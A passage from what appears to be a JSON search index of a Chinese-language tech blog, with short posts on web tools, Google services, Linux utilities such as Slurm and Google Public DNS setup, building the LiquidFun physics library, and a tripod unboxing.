href=\"https://blog.flickr.net/en/2013/12/18/flickr-web-embeds/\"\u003e內崁照片\u003c/a\u003e的功能，現在你可以直接把 Flickr 上的照片直接放進網頁中顯示了。\u003c/p\u003e\n\u003cp\u003e現在如果你想要在一般的網站或部落格中顯示 Flickr 的照片，可以使用 Flickr 最新的照片內崁功能，將產生的 HTML 程式碼複製起來再貼在網頁上，就可以直接顯示 Flickr 的照片了。\u003c/p\u003e","title":"Flickr 現在可以讓你把照片內崁至網頁中了"},{"content":"One Today 是 Google 所推出的慈善 App，它每天會介紹一個慈善機構給手機的使用者，並且可以直接透過手機捐贈 1 美元給他們。\n世界上有非常多的慈善機構，有待您伸出援手，而 Google 也帶頭推出了一個幫助這些慈善機構募款的 App：One Today，這個 App 每天會介紹一個非營利的慈善機構給使用者，為這些慈善機構募款。\n在這個 App 中會介紹慈善機構的所做的事情以及您所捐贈的一美元可以幫助他們做什麼，例如在寮國（Laos）教育的問題上，你的 1 美元可以幫助一位學童獲得 17 天的就學機會。\n而在非洲的瘧疾問題上，在那裡的每分鐘都有一個孩童死於瘧疾，你的 1 美元可以幫助一位孩童做完一套完整的瘧疾療程，也就是說 1 美元可以救了一個孩童的生命。\nOne dollar given. One child saved. That\u0026rsquo;s the Power of One.\n如果你想要贊助這些慈善機構，除了用手機之外，也可以透過 One Today 網站上的捐贈按鈕來贊助他們。\n按下捐贈按鈕之後，會告訴你在你完成捐贈之後，他們將會把你的善舉公佈出來。\n讓你再確認一次。\n捐款方式可以透過 Google 電子錢包或是一般的信用卡。\n以上就是 One Today 的捐款流程，如果你有興趣，也可以贊助他們一下。\n另外一點很有趣的就是，One Today 只允許一個人一次捐贈 1 美元，如果你想要贊助多一點，他則是希望你可以多拉一點親朋好友來一起贊助。\n","permalink":"https://blog.gtwang.org/funny/google-one-today/","summary":"\u003cp\u003e\u003ca href=\"https://www.google.com/onetoday/\"\u003eOne Today\u003c/a\u003e 是 Google 所推出的慈善 App，它每天會介紹一個慈善機構給手機的使用者，並且可以直接透過手機捐贈 1 美元給他們。\u003c/p\u003e\n\u003cp\u003e世界上有非常多的慈善機構，有待您伸出援手，而 Google 也帶頭推出了一個幫助這些慈善機構募款的 App：One Today，這個 App 每天會介紹一個非營利的慈善機構給使用者，為這些慈善機構募款。\u003c/p\u003e","title":"One Today：Google 推出的慈善 App，讓用戶可以從手機上捐贈 1 美元給慈善機構"},{"content":"這裡介紹 Adaptive Backgrounds 這個 jQuery plugin，它可以依照圖片的主題動態更改背景顏色。\nAdaptive Backgrounds 是一個 jQuery 的 plugin，它可以取出一張圖片中最主要的顏色，並將該顏色套用在圖片的上一層網頁元素上，藉此製作出一個跟圖片主題相似的背景。\n這個 plugin 是運用 ImageData 與 \u0026lt;canvas\u0026gt; 來達到這個效果的，而由於安全性的因素，這種 JavaScript 只能處理同一個網站的圖片，或是允許 Cross Origin Resource Sharing 的圖片。\n在使用時除了這個函式庫本身之外，還要再引入 jQuery，然後在網頁中執行這段 JavaScript：\n$(document).ready(function(){ $.adaptiveBackground.run() }); 這樣它就會尋找網頁中有標注 data-adaptive-background='1' 的圖片，將圖片的主要顏色取出後，套用至該圖片的上一層元素。也就是說如果想要讓 Adaptive Backgrounds 處理圖片的背景，就要在圖片的 HTML 程式碼中加上 data-adaptive-background='1' 這個屬性：\n\u0026lt;img src=\u0026#34;/image.jpg\u0026#34; data-adaptive-background=\u0026#39;1\u0026#39;\u0026gt; 結果會像這樣：\n","permalink":"https://blog.gtwang.org/web-development/adaptive-backgrounds-jquery-plugin/","summary":"\u003cp\u003e這裡介紹 \u003ca href=\"https://briangonzalez.github.io/jquery.adaptive-backgrounds.js/\"\u003eAdaptive Backgrounds\u003c/a\u003e 這個 jQuery plugin，它可以依照圖片的主題動態更改背景顏色。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://briangonzalez.github.io/jquery.adaptive-backgrounds.js/\"\u003eAdaptive Backgrounds\u003c/a\u003e 是一個 jQuery 的 plugin，它可以取出一張圖片中最主要的顏色，並將該顏色套用在圖片的上一層網頁元素上，藉此製作出一個跟圖片主題相似的背景。\u003c/p\u003e","title":"Adaptive Backgrounds：一個可以依照圖片主題顏色動態調整背景的 jQuery Plugin"},{"content":"Ghost 這個開放原始碼的部落格平台，目前已經準備好開始提供主機空間服務了，不過這個服務是要付費的。\nGhost 是一個以 Node.js 為基礎的開放原始碼部落格平台，在今年十月份才釋出其第一個版本，而現在他已經準備好開始提供主機空間服務了。\nGhost 這個部落格系統是由 WordPress 的開發團隊所發展出來的，所以它跟 WordPress 有點類似，但是不一樣的是 Ghost 會比 WordPress 更簡單、更容易使用。\n在以往自行架站的部落格在設定與管理上都非常複雜，而 Ghost 則想要改善這個問題，提供一個讓使用者只要透過非常簡單的設定，就可以架起一個部落格的平台。\n目前 Ghost 所提供的主機空間服務收費標準是根據部落格的數量與網路流量來計算的：\nGhost 本身並不是以營利為目的組織，這些由主機空間所獲得的資金會用於拓展更多的服務或軟體的開發。\n若你對於這個主機空間的服務有興趣，可以在 Ghost 的網站上註冊，如果通過註冊之後，第一個月的使用是免費的，所以你在實際開始付費使用之前，還可以有一個月的考慮時間。\n參考資料 TNW ","permalink":"https://blog.gtwang.org/web-development/open-source-blogging-platform-ghost/","summary":"\u003cp\u003e\u003ca href=\"/web-development/node-js-based-ghost-blogging-platform/\"\u003eGhost\u003c/a\u003e 這個開放原始碼的部落格平台，目前已經準備好開始提供主機空間服務了，不過這個服務是要付費的。\u003c/p\u003e\n\u003cp\u003eGhost 是一個以 Node.js 為基礎的開放原始碼部落格平台，在今年十月份才釋出其第一個版本，而現在他已經準備好開始提供主機空間服務了。\u003c/p\u003e","title":"Ghost 開放原始碼部落格平台開始提供付費主機空間服務了"},{"content":"Slurm 是一個 Linux 系統下的命令列網路頻寬監控工具，它可以在一般的終端機中透過 ASCII 的簡單圖形顯示目前網路的覆載狀態。\n在 Ubuntu 或 Debian Linux 中若要安裝 Slurm，可以使用 apt 來安裝：\nsudo apt-get install slurm 安裝完成之後，就可以開始使用了：\nslurm -i eth0 以下是 slurm 指令可以使用的參數：\n-h：顯示使用說明。 -z：在開始時重設計數器。 -d delay：設定更新間隔秒數（delay 可設定為介於 1 到 300 之間的數值）。 -c：使用傳統檢視畫面。 -s：使用 split graph 模式，將上傳與下載的流量分開。 -l：使用大型 split graph 模式（圖形比較大）。 -i interface：指定要監控的網路介面（網路卡）。 在 slurm 執行時，也可以利用下面這些指令鍵控制 slurm 的版面：\nz：重設計數器。 c：切換到傳統檢視畫面。 s：切換到 split graph 模式。 l：切換到大型 split graph 模式。 m：在一般的檢視畫面、split graph 與大型 split graph 模式之間切換。 r：重繪畫面。 q：離開。 ","permalink":"https://blog.gtwang.org/linux/slurm-command-line-bandwidth-monitoring-tool-for-linux/","summary":"\u003cp\u003eSlurm 是一個 Linux 系統下的命令列網路頻寬監控工具，它可以在一般的終端機中透過 ASCII 的簡單圖形顯示目前網路的覆載狀態。\u003c/p\u003e\n\u003cp\u003e在 Ubuntu 或 Debian Linux 中若要安裝 Slurm，可以使用 apt 來安裝：\u003c/p\u003e","title":"Slurm：Linux 命令列網路頻寬監控工具"},{"content":"Google 的 AdSense 回應式廣告單元現在可以自己偵測網頁的版面，自動選擇最適合的廣告大小。\nGoogle AdSense 廣告前一陣子才支援回應式網頁設計，讓 Google AdSense 廣告配合瀏覽器版面動態變更大小，但是之前的版本使用者必須自己透過 CSS 的設定來規劃版面寬度與廣告大小的組合，其實使用起來並不是很方便。\n而現在 Google 終於推出可以自動偵測網頁版面的廣告單元，你可以完全不用更改任何程式碼，就可以讓 AdSense 廣告自己選擇適當的大小，讓網頁設計者可以更省時省力。\n新的回應式廣告使用方式很簡單，首先在建立 AdSense 廣告單元時，選擇「回應式廣告單元」。\n接著在把產生的廣告程式碼複製到自己的網頁上就完成了。\n在「模式」的部分預設會選擇「自動調整大小」，這種方式可以不用修改程式碼就達到自動調整廣告大小的功能。\n在 Google AdSense 的廣告版面大小中，主要可分為水平（horizontal）、垂直（vertical）與方形（rectangle）這三種，而預設的狀況 Google 會自己選擇它認為比較適合的版面類型。\n當然有時候他選擇的類型不見得適合自己的網頁版面，這時候你也可以透過 data-ad-format 這個參數來指廣告版面的類型，這個選項在預設的情況是設定為自動選擇（auto），而你可以自己更改成水平（horizontal）、垂直（vertical）與方形（rectangle）這三種或是其中任意的組合（以逗點分隔），例如若想要指定廣告類型為水平或方形，則改為這樣：\n\u0026lt;ins class=\u0026#34;adsbygoogle\u0026#34; style=\u0026#34;display:block;\u0026#34; data-ad-client=\u0026#34;ca-pub-1234\u0026#34; data-ad-slot=\u0026#34;5678\u0026#34; data-ad-format=\u0026#34;horizontal, rectangle\u0026#34;\u0026gt;\u0026lt;/ins\u0026gt; \u0026lt;script async src=\u0026#34;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt;(adsbygoogle = window.adsbygoogle || []).push({});\u0026lt;/script\u0026gt; 如果你感覺 Google AdSense 自動選擇的廣告大小不適合自己的網頁版面，那也可以在複製程式碼的時候，將「模式」改為「進階」，使用手動設定的方式處理，而在這個模式下產生的程式碼會不太一樣，在貼上自己的網頁之前，要依照自己網頁的版面設定 CSS 的 @media 程式碼。（不能直接貼上去，否則版面一定會有問題）\n\u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; .adslot_1 { width: 320px; height: 50px; } @media (min-width: 800px) {.adslot_1 { width: 728px; height: 90px; } } @media (min-width: 500px) {.adslot_1 { width: 428px; height: 60px; } } \u0026lt;/style\u0026gt; \u0026lt;ins class=\u0026#34;adsbygoogle adslot_1\u0026#34; style=\u0026#34;display:inline-block;\u0026#34; data-ad-client=\u0026#34;ca-pub-1234\u0026#34; data-ad-slot=\u0026#34;5678\u0026#34;\u0026gt;\u0026lt;/ins\u0026gt; \u0026lt;script async src=\u0026#34;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt;(adsbygoogle = window.adsbygoogle || []).push({});\u0026lt;/script\u0026gt; 這個其實就是之前舊版回應式廣告所使用的方式。\n","permalink":"https://blog.gtwang.org/web-development/google-adsense-responsive-ad-units/","summary":"\u003cp\u003eGoogle 的 AdSense 回應式廣告單元現在可以自己偵測網頁的版面，自動選擇最適合的廣告大小。\u003c/p\u003e\n\u003cp\u003eGoogle AdSense 廣告前一陣子才支援回應式網頁設計，讓 Google AdSense 廣告配合瀏覽器版面動態變更大小，但是之前的版本使用者必須自己透過 CSS 的設定來規劃版面寬度與廣告大小的組合，其實使用起來並不是很方便。\u003c/p\u003e","title":"Google AdSense 回應式廣告單元（自動偵測版面大小）"},{"content":"tinyblog 是 Kevin Rose 提出的一個全新的 Live 版部落格概念，讓整個部落格更加生動有趣。\n傳統上的部落格都是將作者寫好的文章發佈在網頁上，然後讀者閱讀的內容都是靜止不動的文字與靜態圖片，這種方式讓 Kevin Rose 感覺太過生硬。\nKevin Rose 是 Digg 創始人，同時也是 Google Ventures 的合夥人，他最近提出了一個 live 版的部落格概念，就是讓讀者可以從部落格中看到部落格作者 live 版的實況轉播！\nRose 目前所實作的版本是使用電腦的網路攝影機（webcam）把作者的影像拍下來，透過模糊處理後，放在部落格的背景，雖然看不清楚實際的景象，但是已經創造了很有趣的氣氛。\n不過目前 Rose 並沒有打算馬上將這個想法實作成正式的產品，現在只是提出這樣的部落格雛形，測試看看市場反應如何而已。\n參考資料 TNW ","permalink":"https://blog.gtwang.org/funny/tinyblog-live-blog/","summary":"\u003cp\u003etinyblog 是 Kevin Rose 提出的一個全新的 Live 版部落格概念，讓整個部落格更加生動有趣。\u003c/p\u003e\n\u003cp\u003e傳統上的部落格都是將作者寫好的文章發佈在網頁上，然後讀者閱讀的內容都是靜止不動的文字與靜態圖片，這種方式讓 Kevin Rose 感覺太過生硬。\u003c/p\u003e","title":"tinyblog：全新的 Live 版部落格概念，提供作者的實況轉播"},{"content":"這裡介紹如何在各種作業系統與瀏覽器中設定使用 Google Public DNS，讓上網的速度可以更快。\n在上網瀏覽網頁時，當我們輸入 tw.yahoo.com 這樣的網址，電腦必須先把這樣的網址透過 DNS 伺服器轉換為 IP 位址，才能真正連上這個網站，所以 DNS 伺服器對所有上網的人都非常重要，而通常這種伺服器都沒有什麼大問題，所以大家都沒在注意他的重要性。\n但是如果你發現你的上網速度突然很慢，網頁都開不起來的時候，除了檢查網路現有沒有插好之外，DNS 伺服器是否正常也是要檢查的一個項目，如果你使用的 DNS 伺服器太慢、甚至對你的請求沒有反應，那麼你就可以換成 Google 所提供的免費 DNS 伺服器看看。\nGoogle 所提供的 DNS 伺服器可以讓你的上網速度更快，而且也更穩定，另外 Google 也對於 DNS 相關網路攻擊的防範也花了許多心力，所以相信 Google 所提供的 DNS 伺服器在安全性上應該也會高一些。\nGoogle 所提供的 DNS 伺服器是這兩台（IPv4）：\n主要 DNS 伺服器：8.8.8.8\n次要 DNS 伺服器：8.8.4.4\n如果是 IPv6 的位址則為：\n主要 DNS 伺服器：2001:4860:4860::8888\n次要 DNS 伺服器：2001:4860:4860::8844\n由於 Google 的伺服器大概都會比一般的 DNS 穩定一些，所以如果想一勞永逸，你也可以直接把自己的 DNS 伺服器設定成這兩個。下面是各種作業系統設定 DNS 伺服器的步驟。\n這裡請注意一點，在你更換 DNS 伺服器之前，請先把原本的 DNS 伺服器設定記錄下來，以免更換的過程出問題時，無法回覆成原來的設定。\nLinux 這裡示範在 Linux 中更改 DNS 設定的方式。\nLinux 桌面環境 如果是使用一般桌面版本的 Linux（如 Ubuntu），通常透過圖形化的使用者界面就可以設定了，以下這個是我在 Ubuntu Linux 中設定的步驟。\n首先在桌面上 network manager applet 的選單中選擇「編輯」。\n從「網路連線」中選擇自己目前所使用的網路。這裡示範使用 Wi-Fi 無線網路的設定方式，而有線網路的設定方式都大同小異。\n開啟網路的設定之後，在「IPv4 設定」就可以設定 DNS 伺服器。如果你是使用無線網路的話，通常都是以 DHCP 自動取得網路位址，這種情況可以直接把 Google 的 DNS 伺服器加在「額外的 DNS 伺服器中」，並用逗點分隔多個伺服器 IP 位址。\n如果想讓系統直接使用 Google 的 DNS 伺服器，而不要使用 DHCP 所提供的 DNS 的話，可以在「方法」中選擇「只用自動（DHCP）位址」，然後在自己指定下方的 DNS 伺服器。\n最後按下「儲存」即可。\nLinux 伺服器 如果是 Linux 伺服器要更改 DNS 設定的話，就要修改 /etc/resolv.conf 這個檔案。你可以自己選擇習慣的編輯器以 root 管理者權限修改這個檔案：\nsudo vi /etc/resolv.conf 在修改前，請先把這個檔案中所有 nameserver 的設定記下來作為備份。接著把 nameserver 的設定改為 Google 的 DNS 伺服器：\nnameserver 8.8.8.8 nameserver 8.8.4.4 如果是使用 IPv6 的伺服器，則改為這樣：\nnameserver 2001:4860:4860::8888 nameserver 2001:4860:4860::8844 存檔離開後，還要重新啟動系統的網路服務讓設定生效。\n若要測試新的 DNS 設定是否可以正常運作，可以使用 dig 指令：\ndig www.google.com 輸出應該會類似這樣：\n; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.8.1-P1 \u0026lt;\u0026lt;\u0026gt;\u0026gt; www.google.com ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 26524 ;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;www.google.com. IN A ;; ANSWER SECTION: www.google.com. 300 IN A 74.125.23.104 www.google.com. 300 IN A 74.125.23.106 www.google.com. 300 IN A 74.125.23.99 www.google.com. 300 IN A 74.125.23.103 www.google.com. 300 IN A 74.125.23.147 www.google.com. 300 IN A 74.125.23.105 ;; Query time: 33 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Sun Dec 15 08:24:39 2013 ;; MSG SIZE rcvd: 128 從 ANSWER SECTION 看起來都有查到對應的 IP 位址，而 SERVER 則是使用 Google 的 8.8.8.8 這台 DNS 伺服器，這樣就沒問題了。\nWindows Windows 的設定方式請參考重灌狂人的教學文章，這裡整理了 Windows XP、Windows Vista 與 Windows 7 的設定教學。\nMac OS X 在 Mac OS X 中若要設定 Google 的 DNS 伺服器也很簡單，首先打開「系統偏好設定」，選擇「網路」。\n選擇自己所使用的網路，然後開啟「進階」的選項。\n選擇「DNS」籤頁，在「DNS 伺服器」欄位中新增 Google 所提供的兩台 DNS 伺服器 IP 位址就可以了。\n","permalink":"https://blog.gtwang.org/tips/google-public-dns/","summary":"\u003cp\u003e這裡介紹如何在各種作業系統與瀏覽器中設定使用 \u003ca href=\"https://developers.google.com/speed/public-dns/?hl=zh-TW\"\u003eGoogle Public DNS\u003c/a\u003e，讓上網的速度可以更快。\u003c/p\u003e\n\u003cp\u003e在上網瀏覽網頁時，當我們輸入 \u003ccode\u003etw.yahoo.com\u003c/code\u003e 這樣的網址，電腦必須先把這樣的網址透過 DNS 伺服器轉換為 IP 位址，才能真正連上這個網站，所以 DNS 伺服器對所有上網的人都非常重要，而通常這種伺服器都沒有什麼大問題，所以大家都沒在注意他的重要性。\u003c/p\u003e","title":"Google Public DNS 伺服器設定教學（讓上網速度更快、安全性更高）"},{"content":"Google BBS Terminal 是以 80 年代的 BBS 介面所實作的 Google 搜尋引擎，別看它這樣，他是真的可以用來搜尋的 BBS 喔！\nGoogle 這家公司是在 1998 年創立的，而它的網站則是到了 1999 年才開始啟用，如果 Google 在早個 20 年發明，那麼它應該就會長得像這樣。\n大家別以為它只是一個小遊戲或是純展示的網頁，它其實是一個真正可以搜尋的工具，其內部使用 Google Search API 靠著真正的 Google 來搜尋網頁。\n碰到中文的文字版面就有些問題，不過也可以看出來它是真的有在搜尋。\n除了網頁搜尋之外，它也有圖片搜尋的功能。\n它會把搜尋到的圖片轉為 ASCII 的形式顯示在上面。\n這個 Google BBS Terminal 除了這兩個主要的搜尋功能之外，它也實作了一些附加的按鍵操作，而其所用的主要技術如下：\ntermlib.js Fixed Excelsior 3.01 Truetype Font Google REST API JavaScript、HTML5 與 CSS 如果你對於這些技術有興趣，可以參考其官方網站上的說明。\n","permalink":"https://blog.gtwang.org/funny/google-bbs-terminal/","summary":"\u003cp\u003e\u003ca href=\"https://www.masswerk.at/googleBBS/\"\u003eGoogle BBS Terminal\u003c/a\u003e 是以 80 年代的 BBS 介面所實作的 Google 搜尋引擎，別看它這樣，他是真的可以用來搜尋的 BBS 喔！\u003c/p\u003e\n\u003cp\u003eGoogle 這家公司是在 1998 年創立的，而它的網站則是到了 1999 年才開始啟用，如果 Google 在早個 20 年發明，那麼它應該就會長得像這樣。\u003c/p\u003e","title":"Google BBS Terminal：如果 Google 在 80 年代就發明了，它的長相應該會像這樣"},{"content":"Vim.js 是一個使用 JavaScript 實作的 Vim 編輯器，不過實用性不高，只適合學習與研究使用。\nVim.js 是把傳統 Linux 上的 Vim 編輯器以 JavaScript 實作在一般的瀏覽器中，不過目前還在發展當中，還不是很穩定，而且這種編輯器大概只適合比較資深的 UNIX/Linux 使用者作為「娛樂」使用。\n由於真正 Vim 的功能實在太多了，如果將所有的功能都實作出來，會影響再往頁上執行的效率，所以 Vim.js 只包含了 small feature set（--with-features=small）與一些 normal set 裡面的功能而已，你可以使用 :version 來查看它所實作的功能。\n這個專案基本上實用性不高，但是如果作為學習或研究的對象還算不錯，在它的 GitHub 網頁上有一段 Tips for hackers 的說明，它告訴你如果要實作這樣的編輯器，應該要準備哪些東西（emscripten、node.js、streamline.js、closure 編譯器、GCC 編譯器與 cproto 等），以及應該具備哪些知識（Vim 的原始碼、JavaScript 與 HTML/CSS），參考別人發展專案所使用的工具與相關背景知識對於自己的軟體能力會有一定的幫助。\n","permalink":"https://blog.gtwang.org/web-development/vimjs-javascript-vim/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/coolwanglu/vim.js\"\u003eVim.js\u003c/a\u003e 是一個使用 JavaScript 實作的 Vim 編輯器，不過實用性不高，只適合學習與研究使用。\u003c/p\u003e\n\u003cp\u003eVim.js 是把傳統 Linux 上的 Vim 編輯器以 JavaScript 實作在一般的瀏覽器中，不過目前還在發展當中，還不是很穩定，而且這種編輯器大概只適合比較資深的 UNIX/Linux 使用者作為「娛樂」使用。\u003c/p\u003e","title":"Vim.js：一個使用 JavaScript 實作的 Vim 編輯器"},{"content":"Google 今天發表了一個新的 LiquidFun 函式庫，可以用來在各種作業系統或手機上模擬流體的物理現象。\nLiquidFun 是一個以 C++ 所開發的 2D 流體模擬函式庫，它以 Box2D 為基礎，並且實作了以利子為基礎（particle-based）的流體模擬，這個函式庫可以讓手機遊戲的開發者很容易在遊戲中加入近似實際流體的效果。\n由於 LiquidFun 是以 C++ 開發的，所以除了手機之外，任何有 C++ 編譯器的作業系統或平台都可以運用這個函式庫，Google 除了將 LiquidFun 的原始碼放在 GitHub 之外，也提供了許多在 Windows、Mac OS X 與 Linux 上的應用程式範例與 unit tests。\n在 Linux 中安裝與使用 LiquidFun 接下來我們示範如何在 Linux 系統中使用這套函式庫，我們以 Ubuntu Linux 的環境來示範。首先從 GitHub 下載 LiquidFun 的原始碼並解壓縮。\nhttps://github.com/google/liquidfun/archive/master.zip unzip master.zip cd liquidfun-master/ 解壓縮之後，就可以看到 LiquidFun 的原始程式碼了，而在進行編譯之前，要先安裝好下面幾個程式與函式庫：\nCmake（cmake） OpenGL（libglapi-mesa） GLU（libglu1-mesa-dev） 這些在 Ubuntu 下面可以使用 apt 安裝：\nsudo apt-get install cmake libglapi-mesa libglu1-mesa-dev 如果是剛裝好的 Ubuntu 系統，記得也要裝一下編譯相關的工具：\nsudo apt-get install build-essential 接著進入 liquidfun/Box2D 目錄，產生 Makefile：\ncd liquidfun/Box2D cmake -G\u0026#39;Unix Makefiles\u0026#39; 再執行 make：\nmake 正常來說等到 make 跑完就編譯完成了，但是如果你的系統中缺少某些編譯需要用到的函式庫時，在編譯的過程就會被迫中斷，然後出現類似這樣的訊息：\nIn file included from /home/seal/liquidfun/liquidfun-master/freeglut/src/fg_internal.h:193:0, from /home/seal/liquidfun/liquidfun-master/freeglut/src/fg_callbacks.c:29: /home/seal/liquidfun/liquidfun-master/freeglut/src/x11/fg_internal_x11.h:42:35: fatal error: X11/extensions/XInput.h: No such file or directory compilation terminated. make[2]: *** [freeglut/CMakeFiles/freeglut.dir/src/fg_callbacks.c.o] Error 1 make[1]: *** [freeglut/CMakeFiles/freeglut.dir/all] Error 2 make: *** [all] Error 2 這個問題就是它找不到 X11/extensions/XInput.h 這個表頭檔，這時候可以嘗試利用 apt-cache 搜尋一下，看看有沒有類似的函式庫套件：\napt-cache search xinput 其輸出為\nlibxi-dev -- X11 Input extension library (development headers) libxi6 -- X11 Input extension library libxi6-dbg -- X11 Input extension library (debug package) [略] 看這些套件的說明感覺就很有可能會包含 X11/extensions/XInput.h 這個表頭檔，而因為我們需要的是開發用的表頭檔，在安裝的時候要選擇 libxi-dev 這個開發用的套件：\nsudo apt-get install libxi-dev 接著再重新執行 make，繼續編譯。這裡會碰到的編譯問題可能每個系統都不同，但基本上處理這類問題的流程大致上都差不多。\n等到編譯完成之後，就可以執行 liquidfun/Box2D/Testbed/Testbed 這個測試程式看看有沒有成功。\n./Testbed/Testbed 如果有編譯成功的話，就會看到這樣的模擬畫面了。\n如果你在開發的過程中有更改到 LiquidFun 的原始碼，那麼在修改之後可以利用 liquidfun/Box2D/Testbed/Testbed 這個指令稿進行 unit test。\n./Unittests/run_tests.sh 在 Mac OS X 中安裝與使用 LiquidFun 因為 LiquidFun 的視窗界面是使用 XWindow 的架構，所以在 Mac OS X 中如果要讓它可以正常運作，要先安裝 Xquartz 這個程式，提供一個 Mac OS X 中的 XWindow 環境。\n接著一樣從 GitHub 下載 LiquidFun 的原始碼並解壓縮。\nunzip master.zip cd liquidfun-master/liquidfun/Box2D 按照官方的做法設定 CMake：\ncmake -G\u0026#34;Xcode\u0026#34; 在我的 Mac OS X 10.9 中，會出現這樣的錯誤：\nCMake Error: The following variables are used in this project, but they are set to NOTFOUND. Please set them or make sure they are set and tested correctly in the CMake files: OPENGL_INCLUDE_DIR (ADVANCED) used as include directory in directory /Users/seal/Desktop/liquidfun/liquidfun-master/freeglut used as include directory in directory /Users/seal/Desktop/liquidfun/liquidfun-master/freeglut used as include directory in directory /Users/seal/Desktop/liquidfun/liquidfun-master/liquidfun/Box2D/glui used as include directory in directory /Users/seal/Desktop/liquidfun/liquidfun-master/liquidfun/Box2D/Testbed 看起來是找不到 OpenGL 函式庫的位置，後來感覺用命令列太麻煩，我直接開 CMake 的 GUI 介面。\ncmake-gui -G\u0026#34;Xcode\u0026#34; . 把 OPENGL_INCLUDE_DIR 設定為 liquidfun/Box2D/freeglut 就解決了。\n修改了 OPENGL_INCLUDE_DIR 之後，要按下「Configure」與「Generate」才會產生 Xcode 用的 Box2D.xcodeproj 這個檔案。接著用滑鼠對它點兩下用 Xcode 開啟這個檔案，然後在 Xcode 的「Product」選單中選擇「Build」編譯。\n接著選擇一個範例 Scheme，例如「Testbed」-\u0026gt;「My Mac 64-bit」。\n然後按下工具列最左邊的 Build and Run 按鈕，這樣就會出現這個測試程式了。\n如果要進行 unit test，同樣可以使用 liquidfun/Box2D/Unittests/run_tests.sh 這個指令稿。\n在 LiquidFun 的官方教學文件中，也敘述了 Windows 與 Android 平台的安裝與使用方式，有興趣的人可以參考看看。\n參考資料 Google Open Source Blog ","permalink":"https://blog.gtwang.org/programming/google-liquidfun-in-ubuntu-linux-and-mac-os-x/","summary":"\u003cp\u003eGoogle 今天發表了一個新的 \u003ca href=\"https://google.github.io/liquidfun/\"\u003eLiquidFun\u003c/a\u003e 函式庫，可以用來在各種作業系統或手機上模擬流體的物理現象。\u003c/p\u003e\n\u003cp\u003eLiquidFun 是一個以 C++ 所開發的 2D 流體模擬函式庫，它以 Box2D 為基礎，並且實作了以利子為基礎（particle-based）的流體模擬，這個函式庫可以讓手機遊戲的開發者很容易在遊戲中加入近似實際流體的效果。\u003c/p\u003e","title":"LiquidFun：Google 設計給手機遊戲用的 2D 流體模擬函式庫"},{"content":"這是我最近上 PChome 買的 Takara TMK-244B 腳架相機腳架，順便拍幾張照片放上來，如果有考慮買腳架的人可以參考。\n最近因為需要腳架拍攝全景照，所以在 PChome 上面選了一款最便宜的腳架，這款 Takara TMK-244B 球型雲台腳架在 PChome 購物網站只要 1590 元，本來想說只是要固定相機，也沒有什麼特別需求，堪用即可，沒想到東西到手之後不如預期，後來就把它退掉了。\n不過退貨之前，還是拍了幾張照片，放在這裡給大家參考。\n腳架專用的背包，背帶上也有減壓帶，這個部分其實還不錯。\n接就是腳架了。\n還有產品合格證。\n球型雲台。\n關節的部分都是金屬材質（鋁），所以「應該」是不容易壞吧。\n白色的水平儀。\n有安全鎖設計，可以保護相機不容易脫落。\n雲台也可以拆下來。\n可旋轉式的腳丁，適用於各種地形。\n以 1590 元的標準來說，這個腳架應該算可以吧，畢竟這個價位也不能要求太多，不過有幾個地方實在不符合我的使用需求，所以我就把它退掉了。\n首先是腳管與腳管鎖太粗糙了，尤其是塑膠的部分（如果你仔細看照片，就會發現它的品質不是很好），打開腳管鎖拉出腳管時，感覺有點鬆動，有點「軟腳」的感覺，而鎖上去的時候倒是還好。\n在所有的腳管都拉出來的時候，如果是放在平滑的地面上，相機裝上去的時候，整個腳架感覺會容易滑動（這個我就不知道是這個腳架的問題還是每隻腳架都這樣）。\n另外大陸製的塑膠都有一種很重的塑膠味，這一點是我退貨的主因，因為聞到這個味道整個人都不舒服，這樣根本很難專心拍照。\n最後，我還發現這隻腳架的相機螺絲的墊片有一點點生鏽，可能是剛好拿到瑕疵品，反正都要退貨了，也不是很在意這些。\n以上是我個人遇到的狀況，給大家參考，不過其實不能說這隻腳架太差，因為 1590 元這個價位很難要求太好的品質，只能說如果想要買到滿意的腳架，應該要挑更高價位的腳架才行。\n","permalink":"https://blog.gtwang.org/unboxing/takara-tmk-244b/","summary":"\u003cp\u003e這是我最近上 PChome 買的 Takara TMK-244B 腳架相機腳架，順便拍幾張照片放上來，如果有考慮買腳架的人可以參考。\u003c/p\u003e\n\u003cp\u003e最近因為需要腳架拍攝全景照，所以在 PChome 上面選了一款最便宜的腳架，這款 Takara TMK-244B 球型雲台腳架在 PChome 購物網站只要 1590 元，本來想說只是要固定相機，也沒有什麼特別需求，堪用即可，沒想到東西到手之後不如預期，後來就把它退掉了。\u003c/p\u003e","title":"[開箱] Takara TMK-244B 球型雲台腳架"},{"content":"Google Open Gallery 是一個開放給任何博物館或畫廊等文創單位提供線上展示作品的服務平台。\n長久以來 Google 不斷透過它的 Google 文化中心（Cultural Institute）服務，讓許多的博物館與畫廊中的作品可以在線上展示，而現在 Google 打算推廣這項服務，開放讓所有這類的文創產業都可以來使用這樣的服務。\nGoogle Open Gallery 這個線上展示服務適用的範圍很廣，從地區性小型的畫廊到國際性的大型博物館都可以使用這個服務，幫助實體的藝術創作發表在網路上供大眾閱覽，而這些網頁資料都在放 culturalspot.org 這個網域下由 Google 負責免費維護。\n比利時漫畫藝術中心（Belgian Comic Strip Center）目前已經使用了這個服務，以畫作與照片的方式展示了他們的新藝術派建築：Waucquez Warehouse。柯林斯堡發現博物館（Fort Collins Museum of Discovery）則是使用 Google 街景服務上的照片與過去的舊照片進行比對，提供一種新的藝術展示方式。\n這次除了推出 Google Open Gallery 這項線上展示服務之外，也同時開放了位於巴黎 Google 辦公室的 Lab@the Cultural Institute，這裡提供許多 3D 掃描器（scanners）與高畫質相機等設備， 可以讓 Google 